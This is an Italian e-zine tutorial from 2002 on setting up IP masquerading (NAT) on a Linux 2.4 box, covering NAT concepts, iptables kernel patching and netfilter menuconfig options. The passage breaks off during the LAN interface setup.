+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [NETW0RKiNG] #05 - 14/01/2002 |
| iNTR0DUZi0NE ALL'iP MASQUERADiNG [Master Kain] 0x09/0x23 |
+--------------------------------------------------------------------------+
| |
| Salve a tutti, |
| mi presento, il mio nome e' Kain, fondatore del kuht, crew che esiste |
| dal 'lontano' 1999, la quale e' sempre rimasta anonima, per motivi che |
| ora non mi dilungo a spiegare. |
| Visto che mi sono licenziato da lavoro il 31, giorno di halloween, e ora |
| non ho nulla da fare se non aspettare di andare a lavorare nella grande |
| citta' che risponde al nome di Milano, mi sarebbe piaciuto 'raccontare' |
| un interessante esperimento, chiamato IP Masquerading. |
| |
| Molti di voi sapranno gia' di cosa si tratta, detto in parola |
| poverissime, si tratta di usare una linux box come router. |
| Non sapete cosa sia un router? Beh.. diciamo che e' un 'apparecchietto' |
| che messo su una lan, e' dotato di proprio indirizzo IP e viene usato |
| come gateway, altamente configurabile (letteralmente 'cancello') per far |
| si' che le macchine che fanno parte della nostra lan, navighino |
| anch'esse su internet. |
| Quando questo avviene potremmo dire che le nostre macchine escono quindi |
| 'mascherate' (visto che avranno lo stesso indirizzo IP del nostro |
| router, ovviamente). |
| Scenderemo in dettaglio sui termini specifici e sulle tecniche piu' |
| tardi. |
| |
| L'IP Masquerading e' ottenuto attraverso le funzionalita' di firewall a |
| filtro di pacchetto (PACKET_FILTERING) dei moderni kernel linux. |
| In questo mini how-to spieghero' infatti come abilitare l'IP |
| Masquerading sotto kernel recenti, vale a dire la serie 2.4.x, mentre se |
| avro' tempo e voglia potro' espanderlo anche con i 2.2.x (molta gente |
| preferisce la serie 2.2.x alla 2.4.x, ma se usate una moderna |
| distribuzione di linux, sicuramente avrete il 2.4.x). |
| |
| # Ip Masquerading in breve ed esempio teorico |
| |
| Nei kernel recenti, linux utilizza il programma NETFILTER, attraverso |
| una interfaccia chiamata IPTABLES (gia' sentita eh ;) per eseguire il |
| packet filtering, la traduzione degli indirizzi di rete (NA , network |
| address translation), il masquerading e il port forwarding, molto |
| importante. |
| |
| A chi serve IP Masquerading? |
| Beh.. diciamo che serve a gente come me :), poniamo il caso di avere DUE |
| computer e una connessione PPP o SLIP di qualsiasi tipo, come modem, |
| ADSL, o quanto altro. |
| Solo uno di essi puo' essere collegato alla rete, giusto? Bene, facciamo |
| una cosa. |
| |
| > occorrente: 2 schede ethernet (3 per modem adsl o quanto altro), linux |
| box che fungera' da server, un client (faremo l'esempio di winzoz), |
| connessione internet. |
| |
| Molto bene, supponiamo che la linux box sia collegata in rete con il |
| client windows e possa navigare su internet. |
| Noi vogliamo che anche il nostro windows 98, riesca a navigare, |
| sfruttando la banda che usa linux, di conseguenza, dovremo attivare una |
| sorta di 'condivisione' della connessione internet di linux. |
| Questo e' l'esempio della piu' comune LAN casalinga, pero' come potete |
| vedere l'IP Masquerading e' MOLTO utile se non si vogliono spendere |
| soldi e tempo per fare navigare i nostri client. |
| |
| Questo esempio non e' che l'UNITA' minima di quello che possiamo fare |
| con IP Masquerading, infatti il progetto spazia dalla piu' piccola e |
| insignificante LAN (come da esempio sopra) a quella piu' grosse |
| professionale che possiamo costruire. |
| Vedremo in seguito come fare, se siete arrivati fino qui sono certo che |
| la cosa vi interessa ;) (perche' non riprendere in mano quel vecchio 486 |
| che sta in cantina........) |
| |
| Un server di questo tipo solitamente potrebbe venire tenuto come un vero |
| e proprio rottame, senza mouse, senza monitor, basta che sia acceso e |
| che faccia il proprio dovere (e spesso non e' nemmeno un macchina |
| potente, anzi), cosi' possiamo considerare la macchina che andremo a |
| configurare e costruire. |
| |
| # Ip Masquerading a basso livello e altro (NAT, SNAT, DNAT) |
| |
| Alcuni di voi non avranno familiarita' con il concetto di NAT. |
| Vi posso dire che esso vi consente di riscrivere le intestazioni dei |
| pacchetti quando essi passano attraverso il firewall. |
| Queste intestazioni possono essere riscritte quando lasciano il firewall |
| (post-routing) e causano la modifica dell'indirizzo sorgente del sistema |
| che ha iniziato la connessione con l'indirizzo esterno del firewall. |
| Di conseguenza il server su internet vede una connessione come originata |
| dal firewall o dal sistema NAT. |
| Detto in termini semplici, le macchine della nostra rete, escono su |
| internet tutte con lo stesso IP. |
| indirizzo IP. |
| Poiche' l'indirizzo sorgente viene cambiato, netfilter chiama questa |
| traduzione Source NAT (SNAT); potete usare SNAT per proteggere una rete |
| con indirizzo IP pubblici. |
| L'IP Masquerading e' una forma specializzata di SNAT, ed e' comunemente |
| usata per consentire a una rete con indirizzi IP privati (quindi |
| indirizzi ip NON accessibili da internet) di essere in grado di accedere |
| a internet, come spiegato sopra nel nostro esempio. |
| Solitamente l'IP Masquerading e' riservato per gli account telefonici |
| con indirizzi IP dinamici. |
| Se non conoscete l'indirizzo IP che vi viene assegnato nel momento che |
| vi collegate con il vostro ISP (o provider) di fiducia, questa e' |
| probabilmente la vostra situazione e dovrete utilizzare IP Mas uerading |
| invece di SNAT. |
| |
| Un altro tipo di traduzione degli indirizzi (packet mangling, andra' |
| abilitato nel kernel successivamente ;) che netfilter consente, e' |
| chiamato Destination NAT (DNAT). |
| Questa forma di mangling degli indirizzi e' eseguita PRIMA dal routing |
| ed e' usata per ottenere una connessione iniziale al sistema NAT che |
| viene poi rediretta ad un sistema interno. |
| Generalmente e' chiamato PORT-FORWARDING (forward = portare |
| avanti,inoltrare, in questo caso), visto che il forwarding generalmente |
| si basa sulla porta di connessione iniziale. |
| Questo allora vi consentira' di avere sistemi SEPARATI sulla vostra rete |
| trusted (in fiducia) per la gestione di servizi, i soliti HTTP, DNS, |
| MAIL, FTP e via dicendo, ma che pero' appaiono al mondo come se avessero |
| origine dallo stesso sistema NAT. |
| Questa forma di mangling richiede che abbiate un indirizzo IP |
| accessibile da internet, se dovete usare l'IP Masquerading, non sarete |
| in grado di usare DNAT. |
| |
| > due reti, due mondi |
| |
| il software dei firewall a packet filtering e' usato per NASCONDERE una |
| rete pubblica interna e per consentire l'ingresso solo al traffico |
| determinato. |
| |
| ------------- |
| | 62.211.17.2 |--| |
| ------------- /---\ /-----------------------------\ |
| | 62.211.17.1 |-|HUB|-| SERVER/GATEWAY (62.211.17.1)|-{ISP}-[INTERNET] |
| ------------- \---/ \-----------------------------/| |
| | 62.211.17.3 |--| | |
| ------------- | |
| tutte le macchine devono usare |
| un indirizzo IP valido per navigare |
| |
| |
| lo schema di rete che non segue queste regole, sono le reti domestiche, |
| come nel nostro caso e delle piccole reti aziendali, le quali non |
| hanno miriadi di indirizzi ip accessibili da internet, ma ne hanno uno |
| solo, che gli viene assegnato all'isp tramite un collegamento |
| telefonico. |
| |
| ------------- |
| | 192.168.0.2 |--| |
| ------------- /----\ /----------------\ |
| | 192.168.0.3 |-|HUB|--| SERVER/GATEWAY |-{ISP}-[INTERNET] |
| ------------- \----/ \----------------/| |
| | 192.168.0.4 |--| | -----------| |
| ------------- | | |
| ip assegnato dal provider ad le macchine usano ip fittizi |
| esempio 62.211.17.128, e fa per accedere a internet |
| uscire le macchine della lan |
| con questo indirizzo ip |
| |
| Quindi, ricapitolando, l'IP Masquerading offre a tutte le macchine |
| connesse alla nostra LAN, l'accesso ad una rete esterna, usando un solo |
| indirizzo IP sulla nostra macchina server :) |
| Tutti i pacchetti di rete associati a internet sono mascherati come se |
| fossero inviati dal server che esegue il masquerading ed il server |
| mantiene tutte le informazioni necessarie per INSTRADARE alle |
| macchine interne i pacchetti che vengono restituiti dalla rete. |
| |
| Qualcuno potrebbe pensare che ogni connessione e' sia SNAT che DNAT, in |
| funzione della direzione nella quale i pacchetti stanno andando. |
| Rispondo che e' il pacchetto iniziale della connessione, cioe' il |
| pacchetto di sincronizzazione (vale a dire pacchetto con impostato solo |
| il bit di SYN), che determina il tipo di connessione, dopodiche' |
| il tracking delle connessioni consente che i pacchetti di ritorno |
| arrivino al sistema che ha originato la connessione. |
| |
| # IP Masquerading in pratica, applicazione per i kernel 2.4.x |
| |
| Assicuratevi di avere le sorgenti del vostro kernel preferito, ed |
| entrate nella directory, sperando che sappiate quello che state facendo |
| (questo documento NON vuole spiegare come si compilano il ke |
| nel, esistono ottimi HOWTO). |
| Solitamente sono in /usr/src/linux, entrate ed eseguite un: |
| |
| per attivare IP Masquerading avrete bisogno di: |
| > un computer (beh..) |
| > linux (ovviamente..) |
| > sorgenti del kernel (http://www.kernel.org) ed un LKM |
| (http://www.pi.se/blox/modutils/index.html) |
| > una configurazione TCP/IP funzionante (affronteremo il discorso |
| nel nostro esperimento fisico) |
| > connettivita' a internet |
| > iptables (2.4.x) / ipchains (2.2.x) / ipfwadm (2.0.x) |
| > supporto del kernel per IP forwarding, IP masquerading, IP |
| Firewalling, eccetera |
| |
| alcune distribuzioni sono PRONTE per fare ip-masquerading, ma altre no, |
| quindi e' bene dare una occhiata prima di attuare qualsiasi |
| procedimento. |
| |
| eseguite questo comando: |
| |
| # ls /proc/sys/net/ipv4 |
| |
| se compaiono anche |
| |
| ip_dynaddr |
| ip_forward |
| |
| allora non avrete bisogno di ricompilare il kernel, visto che sara' gia' |
| pronto per ip masquerading e potrete saltare oltre questo capitolo. |
| |
| Se invece non appare nulla del genere, allora dovrete seguire questi |
| passi. |
| |
| |
| ### Compilazione e installazione del kernel NON Ip Masquerading ready |
| |
| Prima di tutto, avete bisogno dei sorgenti del kernel (spero li abbiate |
| gia' e che abbiate anche il supporto per IPTABLES, come in tutti i |
| kernel recenti) |
| |
| Prossimo passo, avete bisogno di IPTABLES per applicare le patch sul |
| kernel, per esempio l'archivio IPTABLES abilita il mascheramento per il |
| traffico FTP (anche IRC, in qualche kernel tree). |
| http://netfilter.filewatcher.org/ |
| |
| Non e' consigliato mettere le nuove sorgenti del kernel in |
| /usr/sr/linux, lascia questa cartella (contiene i sorgenti originali del |
| kernel della tua distribuzione di linux) cosi' com'e', creeremo un'altra |
| cartella per compilare. |
| |
| Crea una cartella chiamata /usr/src/kernel, entra in questa directory e |
| scarica le sorgenti del kernel qua dentro. |
| Una volta scaricato, se il file e' un tar.gz |
| # tar xvzf linux-2.4.x.tar.gz |
| o se finisce per bz2 |
| # tar xyvf linux-2.4.x.tar.bz2 |
| |
| sostituisci la x nel file del kernel con la versione che hai scaricato. |
| Alcune distribuzioni di linux usano il flag 'I' invece del 'y' per |
| scompattare gli archivi bzip2. |
| |
| Una volta decompresso, rinomina la directory da linux a linux-2.4.x per |
| chiarezza, per farlo: |
| # mv linux linux-2.4.x |
| assicurati poi che c'e' una cartella o un link simbolico che punta a |
| /usr/src/kernel/linux, vale a dire: |
| # ln -s /usr/src/kernel/linux-2.4.x /usr/src/kernel/linux |
| |
| E' raccomando installare ogni appropriata o patch opzionale alle |
| sorgenti del kernel PRIMA di compilarlo. |
| Ad esempio installare le patch puo' servire ad abilitare particolari |
| moduli che supportano applicazioni come IRC, FTP e quando altro. |
| |
| > applicare i patch IPTABLES al kernel |
| |
| scarica i pacchetti iptables dall'url che vi ho proposto sopra e |
| piazzatelo in una directory, chiamata |
| /usr/src/archive/netfilter. |
| Andate in questa directory e decomprimete l'archivio iptables con il |
| comando: |
| |
| # tar xyvf iptables-1.2.x.tar.bz2 |
| |
| ora andate nella nuova directory iptables-1.2.x ed eseguite |
| |
| # make pending-patches KERNEL_DIR=/usr/src/kernel/linux |
| nota: questo fa si' che le sorgenti del kernel 2.4.x sono in |
| /usr/src/kernel/linux nota #2: se inserisci un '/' alla fine della riga |
| di comando, ti ritornera' un errore dicendo: |
| |
| # make: *** [/usr/src/kernel/linux/include/asm/socket.h] Error 1". |
| |
| Rimuovi la '/' e riprova. |
| |
| Ecco un esempio del prompt che potresti ricevere per il kernel 2.4.4 |
| (nota che questo potrebbe cambiare con il tempo). |
| |
| |
| Making dependencies: please wait... |
| ----------------------------------------------------------------- |
| Welcome to Rusty's Patch-o-matic! |
| |
| Each patch is a new feature: many have minimal impact, some do not. |
| Almost every one has bugs, so I don't recommend applying them all! |
| ------------------------------------------------------- |
| Already applied: 2.4.1 tos-fix tcp-MSS |
| |
| Testing... 2.4.4.patch ALREADY APPLIED (4 rejects out of 96 hunks). |
| |
| Excellent! Kernel is now ready for compilation. |
| ----------------------------------------------------------------- |
| |
| Giusto per essere completi, questo e' il prompt che potresti ricevere |
| per il kernel 2.4.3 |
| |
| |
| |
| Making dependencies: please wait... |
| ----------------------------------------------------------------- |
| Testing... 2.4.1.patch ALREADY APPLIED (0 rejects out of 6 hunks). |
| ----------------------------------------------------------------- |
| Testing... tos-fix.patch ALREADY APPLIED (0 rejects out of 1 hunks). |
| ----------------------------------------------------------------- |
| Testing... tcp-MSS.patch ALREADY APPLIED (0 rejects out of 4 hunks). |
| ----------------------------------------------------------------- |
| Testing... 2.4.4.patch NOT APPLIED ( 2 missing files) |
| The 2.4.4 patch: |
| Author: Rusty Russell <rusty@rustcorp.com.au> and others. |
| Status: Recommended (Already in 2.4.4 and above). |
| |
| This contains numerous fixes: |
| |
| 1) FTP cleanup: |
| o Fixes for bugtraq-announced FTP security problems. |
| o Understanding of EPSV and EPRT FTP extensions. |
| o Servers with unusual PASV responses are supported. |
| o FTP connection tracking and NAT on unusual ports. |
| o Core "
helper" code moved to ip_nat_helper.c. |
| 2) NAT now doesn't drop untracked packets (eg. multicast, nmap, etc). |
| 3) SMP race with connection tracking is fixed. |
| 4) NAT now spreads more evenly, if given a range of IP addresses. |
| 5) Masquerading now cooperates with diald better. |
| 6) DNAT and SNAT rules can only be inserted in the "
nat" table. |
| 7) mtr through a connection tracking box will no longer drop 90% of |
| packets. |
| 8) Reloading the iptable_nat module won't get old, stale NAT |
| information. |
| 9) First packet of a connection is seen by the helper functions. |
| 10) "
hashsize" parameter to ip_conntrack module. |
| |
| Do you want to apply this patch [N/y/t/f/q/?] y |
| |
| Testing patch 2.4.4.patch... |
| Patch 2.4.4.patch applied cleanly. |
| Applying pa

  
tch 2.4.4.patch... |
| Patch 2.4.4.patch applied cleanly. |
| ----------------------------------------------------------------- |
| |
| Excellent! Kernel is now ready for compilation. |
| |
| |
| Se tutto e' andato bene, dovresti vedere qualcosa come "Excellent!" |
| Il kernel e' pronto per la compilazione. |
| |
| OK, il kernel e' pronto, ma dovresti essere sicuro che hai anche il |
| programma iptables sulla tua macchina. |
| Esegui: |
| |
| # whereis iptables |
| |
| e assicurati che e' installato (la cartella di default e' piazzata in |
| /usr/local/sbin/iptables) |
| |
| Se non trova nulla, raccomando semplicemente di compilare. |
| Siccome hai gia' patchato il kernel con il patch di IPTABLES, compilare |
| IPTABLES dovrebbe essere semplice, segui questi passi: |
| |
| # make KERNEL_DIR=/usr/src/kernel/linux |
| # make install KERNEL_DIR=/usr/src/kernel/linux |
| |
| |
| ### Configurazione per i kernel Ip Masquerading ready |
| |
| andate nella directory che contiene la sorgente del kernel e fate un |
| |
| # make menuconfig |
| |
| o se preferite, e se siete in ambiente X: |
| |
| # make xconfig |
| |
| una volta che siete nel menu dovremo andare a verificare queste cosucce: |
| |
| [ Code maturity level options ] |
| |
| * Prompt for development and/or incomplete code/drivers |
| (CONFIG_EXPERIMENTAL) [Y/n/?] |
| - YES: non e' richiesto per ip masquerading, ma abilita il kernel |
| per creare i moduli MASQ e abilitare l'opzione per il port |
| forwarding |
| |
| * Enable loadable module support (CONFIG_MODULES) [Y/n/?] |
| - YES: permette al kernel di abilitare i moduli IP MASQ |
| |
| * Set version information on all module symbols |
| (CONFIG_MODVERSIONS) [Y/n/?] |
| - YES: permette al kernel di caricare vecchi moduli se possibile |
| |
| * Kernel module loader (CONFIG_KMOD) [Y/n/?] |
| - OPTIONAL: Raccomandato : permette al kernel di caricare vari |
| moduli se e quando ne ha bisogno |
| |
| == Opzioni Non-MASQ saltate |
| == (CPU , memoria, SMP, FPU, specific stuff) |
| |
| |
| [ General setup ] |
| |
| * Networking support (CONFIG_NET) [Y/n/?] |
| - YES: Abilita il sistema networking |
| |
| == Opzioni Non-MASQ saltate |
| == (specific hardware, PCI, kernel binaries, PCMCIA, etc.) |
| |
| |
| * Sysctl support (CONFIG_SYSCTL) [Y/n/?] |
| - YES: Permette l'abilita' di abilitare/disabilitare le opzioni |
| come il forwarding, ip dinamici tramite l'interfaccia /proc |
| |
| [ Block devices ] |
| |
| == Opzioni Non-MASQ saltate |
| == (kernel binaries, power management, PnP, RAID, etc.) |
| |
| == Non dimenticare di compilare il supporto per l' hardware di |
| cui avresti bisogno: |
| == IDE controllers, HDs, CDROMs, etc. |
| |
| [ Networking options ] |
| |
| * Packet socket (CONFIG_PACKET) [Y/m/n/?] |
| - YES: Permette di usare TCPDUMP per fare un debug di qualsiasi |
| problema con IP MASQ |
| |
| * Packet socket: mmapped IO (CONFIG_PACKET_MMAP) [N/y/?] y |
| - YES: Accelera il packet protocol |
| |
| * Kernel/User netlink socket (CONFIG_NETLINK) [Y/n/?] |
| - OPTIONAL: Raccomandato : questa feature abilita il logging dei |
| problemi di firewall avanzati. |
| |
| * Routing messages (CONFIG_RTNETLINK) [N/y/?] (NEW) y |
| - OPTIONAL: Abilita il supporto per gli advanced kernel routing |
| messages se hai abilitato l'opzione CONFIG_NETLINK |
| |
| * Netlink device emulation (CONFIG_NETLINK_DEV) [N/y/m/?] (NEW) |
| - NO: Questa opzione non ha nulla a che fare con il logging dei |
| pacchetti firewall |
| |
| * Network packet filtering (replaces ipchains) |
| (CONFIG_NETFILTER) [N/y/?] y |
| - YES: Fa si' che IPTABLES configura le sottosezione TCP/IP del |
| kernel, come spiegato sopra. Abilitando questo, abiliti i |
| meccanismi avanzati di routing, come ip masq, packet |
| filtering e cosi' via |
| |
| * Network packet filtering debugging |
| (CONFIG_NETFILTER_DEBUG) [N/y/?] (NEW) n |
| - NO: Non richiesto dal Masquerading, ci potrebbe essere una |
| penalizzazione di performance abilitandolo. |
| |
| * Socket Filtering (CONFIG_FILTER) [Y/n/?] |
| - OPTIONAL: Raccomandato : Pensando che non ha niente a che fare |
| con IP Masquerading, se hai in mente di installare un |
| server DHCP sulla tua rete interna devi abilitare |
| questa opzione. |
| |
| * Unix domain sockets (CONFIG_UNIX) [Y/m/n/?] |
| - YES: Abilita i meccanismi e i sistemi dei socket UNIX |
| |
| * TCP/IP networking (CONFIG_INET) [Y/n/?] |
| - YES: Abilita il protocollo TCP/IP |
| |
| * IP: multicasting (CONFIG_IP_MULTICAST) [N/y/?] |
| - OPTIONAL: Puoi abilitarlo se vuoi ricevere del traffico |
| Multicast, nota che il tuo ISP deve supportare |
| Multicast per farlo funzionare |
| |
| * IP: advanced router (CONFIG_IP_ADVANCED_ROUTER) [Y/n/?] |
| - OPTIONAL: Non c'e' niente di legato a IP Masquerading, ma qualche |
| opzione potrebbe essere utile. |
| |
| == Opzioni Non-MASQ saltate |
| == ( autoconf, tunneling ) |
| |
| * IP: multicast routing (CONFIG_IP_MROUTE) [N/y/?] n |
| - OPTIONAL: Non pensato per IPMASQ, questa feature vi permette di |
| fare routing del traffico multicast attraverso la tua |
| Linux box. |
| Questo non richiede che il tuo ISP abbia il traffico |
| multicast abilitato |
| |
| == Opzioni Non-MASQ saltate |
| == (ARPd) |
| |
| * IP: TCP Explicit Congestion Notification support |
| (CONFIG_INET_ECN) [N/y/?] n |
| - NO: Abilitare questa opzione sarebbe bello, ma molti siti |
| internet bloccano questa feature. |
| Premi '?' quando configuri il kernel per saperne di piu' su |
| questa opzione, rispondi NO per ora. |
| |
| * IP: TCP syncookie support (disabled per default) |
| (CONFIG_SYN_COOKIES) [Y/n/?] |
| - YES: Raccomandato : per la sicurezza TCP/IP di base |
| (mm..ho sentito un exploit recente su questo.. ;) |
| |
| |
| [ Networking options --> IP: Netfilter Configuration ] |
| |
| |
| * Connection tracking (required for masq/NAT) |
| (CONFIG_IP_NF_CONNTRACK) [N/y/m/?] (NEW) m |
| - YES: (Module) Abilita il kernel per tenere traccia delle varie |
| connessioni alla rete. |
| E' richiesta da IPMASQ per abilitare le tracce di |
| vari meccanismi firewall. |
| Nota che se compili questa opzione direttamente nel |
| kernel (senza modulo) non potrai abilitare i moduli |
| compatibili IPCHAINS o IPFWADM |
| |
| * FTP protocol support (CONFIG_IP_NF_FTP) [M/n/?] (NEW) m |
| - YES: (Module) Abilita il supporto Masquerading per le connessioni |
| FTP se CONFIG_IP_NF_CONNTRACK e' stato abilitato sopra. |
| |
| * Userspace queueing via NETLINK (EXPERIMENTAL) |
| (CONFIG_IP_NF_QUEUE) [N/y/m/?] (NEW) m |
| - OPTIONAL: questa feature permette a IPTABLES di copiare pacchetti |
| specifici ai tools UserSpace per controlli addizionali |
| |
| * IP tables support (required for filtering/masq/NAT) |
| (CONFIG_IP_NF_IPTABLES) [N/y/m/?] (NEW) m |
| - YES: (Module) Abilita il supporto IPTABLES |
| |
| * limit match support (CONFIG_IP_NF_MATCH_LIMIT) [N/y/m/?] (NEW) y |
| - OPTIONAL: (Module) Raccomandato : Non e' richiesto, ma questa |
| opzione puo' essere usata per abilitare il |
| rate limiting del traffico e i messaggi di |
| loggin per rallentare gli attacchi DoS |
| |
| * MAC address match support (CONFIG_IP_NF_MATCH_MAC) |
| [N/y/m/?] (NEW) m |
| - OPTIONAL: Non e' richiesto, ma questa opzione ti permette di |
| filtrare il traffico basato sulla sorgente degli |
| indirizzi MAC delle Ethernet |
| |
| * netfilter MARK match support (CONFIG_IP_NF_MATCH_MARK) |
| [N/y/m/?] (NEW) y |
| - YES: (Module) Raccomandato : Permette a IPTABLES di prendere |
| provvedimenti sui pacchetti marcati. |
| Questo meccanismo abilita le |
| funzionalita' PORTFW, TOS marking e |
| altro |
| |
| * Multiple port match support (CONFIG_IP_NF_MATCH_MULTIPORT) |
| [N/y/m/?] (NEW) y |
| - YES: (Module) Recommended : Abilita IPTABLES ad accettare range |
| di porte multiple SRC/DST all'interno |
| di un port range per l'IPTABLES |
| statement |
| |
| * TOS match support (CONFIG_IP_NF_MATCH_TOS) [Y/m/n/?] n |
| - OPTIONAL: Abilita IPTABLES di confrontare i pacchetti basati sui |
| loro settaggi DIFFSERV |
| |
| * tcpmss match support (CONFIG_IP_NF_MATCH_TCPMSS) [N/y/m/?] m |
| - OPTIONAL: (Module) Raccomandato : Questa opzione abilita gli |
| utenti a esaminare il valore di |
| MSS nei pacchetti TCP SYN. |
| Potrebbe essere d'aiuto nella |
| risoluzione dei problemi legati |
| al valore dell'MTU |
| |
| * Connection state match support (CONFIG_IP_NF_MATCH_STATE) [M/n/?] m |
| - YES: (Module) Raccomandato : permette il tracking delle |
| connessione alla network |
| |
| * Unclean match support (EXPERIMENTAL) |
| (CONFIG_IP_NF_MATCH_UNCLEAN) [N/y/m/?] y |
| - YES: (Module) Recommended : questa opzione permette il tracking |
| su pacchetti odd. |
| puo' essere anche di aiuto nel |
| rintracciamento di pacchetti |
| 'pericolosi' e anche un tool per |
| tenere traccia della gente ostile |
| sulla rete |
| |
| * Owner match support (EXPERIMENTAL) |
| (CONFIG_IP_NF_MATCH_OWNER) [N/y/m/?] n |
| - OPTIONAL: permette a IPTABLES di confrontare il traffico |
| basato su user login, group, ecc, in pratica chi ha |
| creato traffico. |
| |
| * Packet filtering (CONFIG_IP_NF_FILTER) [N/y/m/?] ? y |
| - YES: (Module) Permette al kernel di poter abilitare il filtro |
| del traffico a INPUT, FORWARD e OUTPUT. |
| |
| * REJECT target support (CONFIG_IP_NF_TARGET_REJECT) |
| [N/y/m/?] (NEW) y |
| - YES: (Module) Con questa opzione, un firewall basato su |
| pacchetti, puo' mandare un pacchetto ICMP Reject, |
| indietro a chi lo ha mandato, quando il pacchetto |
| viene bloccato |
| |
| * MIRROR target support (EXPERIMENTAL) (CONFIG_IP_NF_TARGET_MIRROR) |
| [N/y/m/?] (NEW) n |
| - OPTIONAL: Questa opzioni abilita il firewall di copia esattamente |
| lo stesso pacchetto indietro a chi lo ha mandato, |
| supponendo che sia stato bloccato. |
| |
| * Full NAT (CONFIG_IP_NF_NAT) [M/n/?] m |
| - YES: (Module) Questa opzioni abilita i futuri menus per |
| abilitare Masquerading, PORTFWing, |
| Full (1:1) NAT, e cosi' via. |
| |
| * MASQUERADE target support (CONFIG_IP_NF_TARGET_MASQUERADE) |
| [M/n/?] (NEW) m |
| - YES: (Module) carica il modulo Masquerade direttamente nel kernel |
| |
| * REDIRECT target support (CONFIG_IP_NF_TARGET_REDIRECT) [N/y/m/?] n |
| - OPTIONAL: Non e' necessario per le normali funzionalita' di |
| Masquerading, ma quella gente che vuole un proxy via |
| Squid dovrebbe abilitarlo. |
| |
| |
| * Packet mangling (CONFIG_IP_NF_MANGLE) [N/y/m/?] y |
| - YES: (Module) Questa opzione abilita le funzioni per la |
| manipolazione di pacchetti avanzate per IPTABLES |
| |
| |
| * TOS target support (CONFIG_IP_NF_TARGET_TOS) [N/y/m/?] (NEW) n |
| - OPTIONAL: Abilita il kernel a modificare il campo TOS in un |
| pacchetto prima che faccia del routing |
| |
| * MARK target support (CONFIG_IP_NF_TARGET_MARK) [N/y/m/?] (NEW) m |
| - OPTIONAL: (Module) Raccomandato : Permette al kernel di manipolare |
| pacchetti basati sul campo MARK. |
| Puo' essere usato per PORTFW |
| come molte altre cose. |
| |
| * LOG target support (CONFIG_IP_NF_TARGET_LOG) [N/y/m/?] m |
| - YES: (Module) Permette il logging di pacchetti prima che possano |
| essere accettati, respingi, negati, ecc |
| |
| * TCPMSS target support (CONFIG_IP_NF_TARGET_TCPMSS) [N/y/m/?] ? m |
| - YES: (Module) Puo' aiutare a risolvere i problemi di MTU. |
| Tipicamente, molti utenti hanno settato la MTU |
| della loro connessione internet a 1500 (io 1492). |
| come tutte le altre macchine internet. |
| Con questa opzione questo problema e' stato risolto. |
| |
| * ipchains (2.2-style) support (CONFIG_IP_NF_COMPAT_IPCHAINS) |
| [N/y/m/?] m |
| - OPTIONAL: (Module) Raccomandato : Se hai gia' un ruleset IPCHAINS |
| (kernel 2.2.x) e abiliti questa |
| opzione, potrai continuare ad |
| usare il programma IPCHAINS. |
| Nota che se abiliti IPCHAINS, |
| tutti i moduli IPTABLES non |
| saranno funzionali. |
| |
| * ipfwadm (2.0-style) support (CONFIG_IP_NF_COMPAT_IPFWADM) |
| [N/y/m/?] n |
| - OPTIONAL: Lo stesso di sopra, vale con i ruleset IPFWADM |
| (kernel 2.0.x) |
| |
| == Opzioni Non-MASQ saltate |
| == (IPv6, khttpd, ATM, IPX, AppleTalk, etc.) -- |
| |
| * Fast switching (read help!) (CONFIG_NET_FASTROUTE) [N/y/?] n |
| - NO: Questa operazione di ottimizzazione delle prestazioni NON e' |
| compatibile con IPMASQ e/o il packet filtering |
| |
| == Opzioni Non-MASQ saltate |
| == (QoS, Telephony, IDE, SCSI, 1394FW, I2O, etc) |
| |
| == Non dimenticare di compilare il supporto per l'hardware di cui |
| == hai bisogno: |
| == IDE: HDs, CDROMs, etc. |
| == SCSI: HDs, CDROMs, etc. |
| |
| |
| [ Network device support ] |
| |
| * Network device support (CONFIG_NETDEVICES) [Y/n/?] |
| - YES: Abilita il sublayer delle device per la rete Linux |
| |
| == Opzioni Non-MASQ saltate |
| == (Arcnet) |
| |
| |
| * Dummy net driver support (CONFIG_DUMMY) [M/n/y/?] |
| - YES: Pensatelo OPTIONAL, pero' puo' aiutare a fare il degub di |
| problemi |
| |
| == Opzioni Non-MASQ saltate |
| == (EQL, etc..) |
| |
| == Don't forget to compile in support for hardware that you might |
| == need: |
| == NICs: eth, tr, etc. |
| == MODEMs: ppp (ppp async) and/or slip |
| == WANs: T1, T3, ISDN, etc. |
| == ISDN: for internal ISDN modems |
| |
| |
| == Non-MASQ options skipped |
| == (Amateur Radio, IrDA, ISDN, USB, etc.) |
| |
| |
| [ Character devices ] |
| |
| == Opzioni Non-MASQ saltate |
| == (I2C, Watchdog cards, Ftape, Video for Linux, etc. ) |
| |
| |
| [ File systems ] |
| |
| == Opzioni Non-MASQ saltate |
| == (Quota, ISO9660, NTFS, etc ) |
| |
| * /proc filesystem support (CONFIG_PROC_FS) [Y/n/?] |
| - YES: richiesto per configurare dinamicamente il linux forwarding |
| e i sistemi NAT |
| |
| == Opzioni Non-MASQ saltate |
| == (Console drivers, Sound, USB, Kernel Hacking) |
| |
| Ok, ora salvate la vostra configurazione, siete pronti per compilare. |
| Non saro' io a dirvi come compilare, come detto in precedenza, ma vi |
| daro' una mano |
| # make dep |
| # make clean |
| # make bzImage |
| # make modules |
| # make modules_install |
| per sapere cosa dovete fare dopo, riferitevi ai kernel howto, in |
| particolare a uno: |
| http://gpu.firenze.linux.it/test/kernel_2-4.html |
| |
| Successivamente dovete aggiornare il bootloader, ed e' sempre spiegato |
| in questo howto soprastante. |
| |
| Bene, ora abbiamo i kernel a posto e possiamo passare alla |
| configurazione del nostro firewall. |
| Aprite il file /etc/rc.d/rc.local del vostro server linux con il vostro |
| editor preferito e aggiungete le seguenti righe: |
| |
| #rc.firewall - Partenza di IPMASQ e del Firewall |
| # |
| |
| /etc/rc.d/rc.firewall |
| |
| salvate e chiudete il file. |
| |
| prima di continuare, dovete assicurarvi che la vostra LAN sia a posto. |
| potete fare un |
| |
| # ifconfig |
| |
| per controllare quali periferiche di rete siano in funzione. |
| Nel caso non sappiate settare una rete, anche per questo ci sono ottimi |
| howto in giro. |
| Poniamo il caso che sul vostro server abbiate una scheda ethernet che |
| viene gia' riconosciuta da linux e funzionante. |
| A seconda delle classi che volete sulla vostra network privata, io |
| consiglio di tenere un range di classe C |
| |
| Classe Inizio indirizzo Fine indirizzo Mask |
| A 10.0.0.0 - 10.255.255.255 8 |
| B 172.16.0.0 - 172.31.255.255 16 |
| C 192.168.0.0 - 192.168.255.255 24 |
| |
| quindi di avere macchine che abbiano indirizzo 192.168.0.x poniamo che |
| il server abbia indirizzo (statico interno privato riservato, come lo |
| volete chiamare) 192.168.0.1 per attivare questa interfaccia: |
| |
